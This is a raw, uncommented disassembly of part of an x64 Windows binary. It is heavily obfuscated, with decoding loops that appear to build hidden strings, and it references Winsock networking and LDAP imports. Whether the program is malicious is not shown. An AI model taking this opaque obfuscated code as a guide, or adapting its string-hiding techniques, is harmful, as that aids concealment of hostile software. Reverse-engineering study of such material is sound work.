add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x14007643e
movabs rdx, 0x12222bad9ccdb440
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075972
movabs rcx, 0x9ea199e22f860250
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
jmp 0x1400765b3
movabs rdx, 0x2b210816c23e5060
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140076589
movabs rcx, 0xb7a0764b54f69e70
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
dec rbx
inc rbx
jmp 0x140075972
movabs rcx, 0x441fe47fe7aeec80
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
inc r9
dec rbx
inc rbx
jmp 0x140075972
movabs rdx, 0xd09f52b47a673a90
mov ecx, 8
jmp 0x1400764f4
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400760b6
lea rdx, [rbx + r13]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140075edf
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400760f9
movabs rdx, 0x798bf5aff6e198b0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xb40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075972
inc rax
cmp r8, rax
jne 0x14007612a
movabs rdx, 0x608d1946d170fc90
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007643e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140076167
movabs rcx, 0xd40dab123eb8ae80
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075972
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140075edf
movabs rcx, 0x1590840b611f2830
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x140076509
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400761c5
movabs rcx, 0xb651f087f2526508
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x140076509
inc rax
cmp r8, rax
jne 0x1400761ff
movabs rdx, 0x29d282535f9a16f8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140075972
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007622d
movabs rcx, 0x845437b5a7712cc8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
jmp 0x1400765b3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007626a
movabs rcx, 0xf7d4c98114b8deb8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075972
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140075e85
movabs rdx, 0x52567ee35c8ff488
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xb40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075972
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400762f4
movabs rdx, 0xf317eb5fedc33160
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xb40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075972
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140076326
movabs rdx, 0xda190ef6c8529540
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007643e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140076353
movabs rcx, 0x349ac4591029ab10
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
jmp 0x140076589
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140076382
movabs rcx, 0xa81b56247d715d00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec rbx
inc rbx
jmp 0x140075972
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140075e34
movabs rdx, 0x1b9be7efeab90ef0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140075972
movabs rdx, 0x761d9d52329024c0
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xb40]
sub r10b, al
sub r10b, 0x40
add r10b, dl
add r10b, r11b
jmp 0x140076589
movabs rdx, 0xe99e2f1d9fd7d6b0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xb40]
add r10b, dl
add r10b, r11b
jmp 0x14007643e
movabs rcx, 0x6549f767f866a9e8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
movabs rdx, 0xa35e7803567bafa8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xb40], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x5d1ec0e90d1f88a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x60
add r11b, cl
mov byte [rbp + rbx + 0xb40], r11b
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xb40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075972
movabs rcx, 0x9747b03a4347e228
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
dec rbx
inc rbx
jmp 0x140075972
movabs rdx, 0xb0468ca368b87e48
mov ecx, 4
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rcx, 0xbc5d546c7bec4bc8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x78
add cl, r11b
mov byte [rbp + rbx + 0xb40], cl
inc r9
dec rbx
inc rbx
jmp 0x140075972
movabs rdx, 0xe2444575b399b688
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140075972
movabs rcx, 0x6ec3b3aa46520498
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
movabs rcx, 0x2fdde637e933fdb8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 8
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0xb40], r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075972
movabs rcx, 0x2d40dab123eb8ae8
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x58
movzx eax, byte [rbp + rbx + 0xb40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075972
movabs rdx, 0x80e5df57e31fb8d8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140075970
movabs rcx, 0xd654d8c75d806e8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x58
jmp 0x140075960
lea rcx, [rbp + 0x155d1e0]
jmp 0x140076666
lea rcx, [rbp + 0xf9aad8]
jmp 0x140076666
lea rcx, [rbp + 0xb40]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x1402260f0]
lea rcx, [rbp + 0x4c8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1d0
mov rsi, rax
mov byte [rbp + 0xb68], 0x51
mov byte [rbp + 0xb69], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0xb6a], Ordinal_45
mov byte [rbp + 0xb6b], WSASetLastError
mov byte [rbp + 0xb6c], 0x42
mov byte [rbp + 0xb6d], 0x5a
mov byte [rbp + 0xb6e], Ordinal_79
mov byte [rbp + 0xb6f], reloc.WS2_32.dll___WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb70], xmm0
mov qword [rbp + 0xb80], rax
mov word [rbp + 0xb88], ax
mov byte [rbp + 0xb8a], al
movabs r14, 0xf7e27f6cd99c2132
movabs r15, 0x68c2d187573a310e
movabs r13, 0x512726eab037833a
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
movabs rdx, 0xbcdd54e538156ea
cmp rdi, 0x23
jae 0x1400774bf
movzx ebx, byte [rbp + rdi + 0xb68]
mov r10, rbx
cmp r8, rdi
ja 0x1400774b6
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007677d
lea rcx, [rdi + rdx]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x66
jmp 0x1400767b0
je 0x14007742d
inc rax
cmp r8, rax
je 0x140077390
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007735a
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007732c
nop dword [rax]
cmp r9, rdi
ja 0x1400774ad
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400767d9
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
jmp 0x140076820
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400772de
inc rax
cmp r8, rax
je 0x1400772cd
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007729a
lea rax, [r9 + 3]
cmp r8, rax
je 0x140077272
lea rax, [r9 + 6]
cmp r8, rax
je 0x140077239
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x140076e91
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140076e69
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140076e38
lea rax, [r9 + 9]
cmp r8, rax
je 0x140076e0f
lea rax, [r9 + 6]
cmp r8, rax
je 0x140076de8
lea rax, [r9 + 4]
cmp r8, rax
je 0x140076dc5
lea rax, [r9 + 2]
cmp r8, rax
je 0x140076d8d
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140076d65
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140076d42
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140076d0e
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140076830
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14007748a
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140077462
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140076a27
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140076a08
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400769ee
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140076cb2
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140076c5c
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140076c0e
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140076bdb
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140076830
lea r8, [r9 + 6]
lea r9, [r8 + 5]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140076ba2
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140076b7b
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140076b58
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140076b20
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140076af8
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140076ad6
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140076aad
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140076a81
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140076a59
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140076830
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x3e8]
jmp 0x140076830
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
jmp 0x140076820
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400767b0
movabs rdx, 0x398b7c4e0934d566
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0xbcdd54e538156ea
jmp 0x14007674e
movabs rdx, 0xbf13fb66cce10990
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400772fc
movabs rcx, 0xa77850ca25de5bbc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x24
inc r9
dec rdi
inc rdi
jmp 0x140076732
movabs rcx, 0x8fdca62d7edbade8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
dec rdi
inc rdi
jmp 0x140076732
movabs rdx, 0x7840fb90d7d90014
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400771d6
movabs rdx, 0x60a550f430d65240
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140077378
movabs rdx, 0x4909a65789d3a46c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076732
movabs rcx, 0x316dfbbae2d0f698
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x1400773b7
movabs rdx, 0x19d2511e3bce48c4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5c
add r11b, dl
jmp 0x1400773e9
movabs rdx, 0x236a68194cb9af0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xb68]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140076732
movabs rdx, 0xc7317bf9f344e85e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0xb68], r11b
inc rdi
jmp 0x140076732
movabs rdx, 0xaf95d15d4c423a8a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x20
jb 0x140076bfe
movabs rcx, 0xb402fd354588a13c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x48]
jmp 0x1400772fc
movabs rdx, 0x97fa26c0a53f8cb6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r8, 0x41
jae 0x1400771b2
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400770a5
movabs rdx, 0xc7ee5316bf6dd6f4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
jmp 0x140076c25
movabs rcx, 0x805e7c23fe3cdee2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2e
lea rax, [r8 + r9]
cmp rax, 0x10
je 0x14007720a
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x140076fa2
movabs rcx, 0xd00bd3a9e5d1b5c2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4e
jmp 0x140076c7f
movabs rcx, 0xcf4efc8d19a8c72c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
movzx eax, byte [rbp + rdi + 0xb68]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140076732
movabs rcx, 0xb7b351f072a61958
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x1400773e9
movabs rdx, 0xa017a753cba36b84
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400773b7
movabs rdx, 0x887bfcb724a0bdb0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076732
movabs rcx, 0x70e0521a7d9e0fdc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
jmp 0x140077378
movabs rdx, 0x5944a77dd69b6208
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x38
add r11b, dl
jmp 0x1400771dc
movabs rcx, 0x41a8fce12f98b434
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
dec rdi
inc rdi
jmp 0x140076732
movabs rdx, 0x2a0d524488960660
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140076732
movabs rdx, 0x1271a7a7e193588c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400772fc
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x140076ec4
movabs rdx, 0xbcdd54e538156ea
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x66
add r11b, dl
jmp 0x140076cd0
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140076f06
movabs rdx, 0xefc4fed9b3384264
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xb68]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140076732
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140076f42
movabs rcx, 0x3697feafa8404be0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076732
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140076f73
movabs rdx, 0x4e33a94c4f42f9b4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140077378
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140076cd0
movabs rdx, 0x65cf53e8f645a788
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400771d6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140076fce
movabs rcx, 0xe7a77e468cd46396
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
jmp 0x1400772fc
inc rax
cmp r8, rax
jne 0x140077007
movabs rdx, 0xff4328e333d7116a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140076732
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140077033
movabs rcx, 0x461628b928df1ae6
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
jmp 0x140077378
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140077064
movabs rdx, 0x8ce9288f1de72462
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400773e9
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140076c7f
movabs rcx, 0xa484d32bc4e9d236
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7a
movzx eax, byte [rbp + rdi + 0xb68]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140076732
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400770e2
movabs rcx, 0xdf89fdb3667084c8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x78
movzx eax, byte [rbp + rdi + 0xb68]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140076732
inc rax
cmp r8, rax
jne 0x140077122
movabs rdx, 0x265cfd895b788e44
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076732
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140077153
movabs rdx, 0x3df8a826027b3c18
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140077378
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007717c
movabs rcx, 0x559452c2a97de9ec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x1400771dc
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140076c31
movabs rcx, 0x6d2ffd5f508097c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x140076732
movabs rdx, 0xcb9ea7d1ec8b4f10
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xb68]
sub r11b, al
sub r11b, 0x70
add r11b, dl
add r11b, bl
movabs rdx, 0xd76c7d20400ca5fa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0xb68], cl
jmp 0x140077378
movabs rdx, 0xe33a526e938dfce4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xb68]
sub r11b, 0x3c
add r11b, dl
jmp 0x1400773b7
movabs rdx, 0xcc5b7eeeb8b43da6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xb68]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140076732
movabs rdx, 0xb4bfd45211b18fd2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400773e9
movabs rcx, 0x85887f18c3ac342a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x26
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076732
movabs rdx, 0x3eb57f42cea42aae
mov ecx, Ordinal_35
jmp 0x14007733b
movabs rcx, 0xf7e2a09809ecf06
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2a
movabs rcx, 0xbfd0d2839909f826
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0xa
add bl, cl
mov byte [rbp + rdi + 0xb68], bl
inc r9
dec rdi
inc rdi
jmp 0x140076732
movabs rdx, 0xb10f7f96e49417b6
mov ecx, 3
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140076732
movabs rcx, 0x81d82a5d968ebc0e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076732
mov rbx, r10
movabs rdx, 0x52a0d52448896066
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rdx, 0xef0827bce70f53ce
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xb68], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xfad5fd0b3a90aab8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 8
add cl, bl
mov byte [rbp + rdi + 0xb68], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xb68]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140076732
movabs rcx, 0x23697feafa8404be
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x32
movzx eax, byte [rbp + rdi + 0xb68]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140076732
movabs rdx, 0x21efd1b162322792
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007672e
movabs rcx, 0xa542714bb2f79be
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
jmp 0x140076717
lea rcx, [rbp + 0x16670a0]
jmp 0x1400774c6
lea rcx, [rbp + 0xa7c78a]
jmp 0x1400774c6
lea rcx, [rbp + 0xb68]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x140226130]
lea rcx, [rbp + 0x4e8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1d0
mov rsi, rax
mov byte [rbp + 0xb90], reloc.WS2_32.dll_send
